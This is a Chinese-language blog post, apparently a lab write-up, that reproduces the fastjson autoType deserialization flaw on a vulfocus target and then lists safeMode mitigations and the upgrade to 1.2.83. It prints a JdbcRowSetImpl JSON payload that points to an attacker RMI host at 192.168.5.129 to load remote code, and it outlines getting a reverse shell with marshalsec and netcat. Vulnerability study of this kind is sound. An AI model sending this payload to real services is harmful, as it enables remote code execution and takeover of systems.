漏洞存在原因
在fastjson<1.2.24版本中,在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。而在1.24<fastjson<1.2.48版本中后增加了反序列化白名单。
漏洞复现过程如下
在vulfocus平台中启动fastjson1.24版本漏洞镜像。(vulfocus中的fastjson版本1.2.24与1.2.48应该是互相传错了!)
 
 访问fastjson对应8090的端口20450。
 
 使用burpsuite拦截/请求。
 
 修改请求方式为POST,以及修改Content-Type: application/json,并在下方添加json格式数据,进行测试。

 在此处填写json数据时发现,只需要datasource数据即可实现getshell
"age":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
        "autoCommit":true
    }

写exp文件,反弹shell。
 
 使用python开启http服务。
 
 使用marshalsec开启rmi服务。
 
 使用netcat开启监听,获取到shell。
 
漏洞如何修复
临时防护措施:
若相关用户暂时无法进行升级操作,也可使用下列方式进行缓解:
 通过开启safeMode配置完全禁用autoType。三种配置SafeMode的方式如下:
 1.在代码中配置:
 ParserConfig.getGlobalInstance().setSafeMode(true);
 2.加上JVM启动参数:
 -Dfastjson.parser.safeMode=true
 如果有多个包名前缀,可用逗号隔开。
 3.通过fastjson.properties文件配置:
 通过类路径的fastjson.properties文件来配置,配置方式如下:
 fastjson.parser.safeMode=true
正式修复方式:
升级到最新版本
 升级步骤如下:
 1.备份原fastjson依赖库,避免升级失败的情况发生。
 2.将低版本的fastjson库替换为1.2.83版本即可
参考链接
Fastjson系列漏洞实战和总结:https://blog.csdn.net/qq_50854662/article/details/127234755
 框架/组件漏洞系列2:fastjson漏洞汇总:https://blog.csdn.net/qq_45590334/article/details/121723316
 fastjson 1.2.47 RCE漏洞保姆级复现:https://blog.csdn.net/text2206/article/details/128841278












![[数据库系统] 一、添加常用约束(educoder)](https://img-blog.csdnimg.cn/8a2c8a80eded4a4db2b3f4d7113cba2f.png)





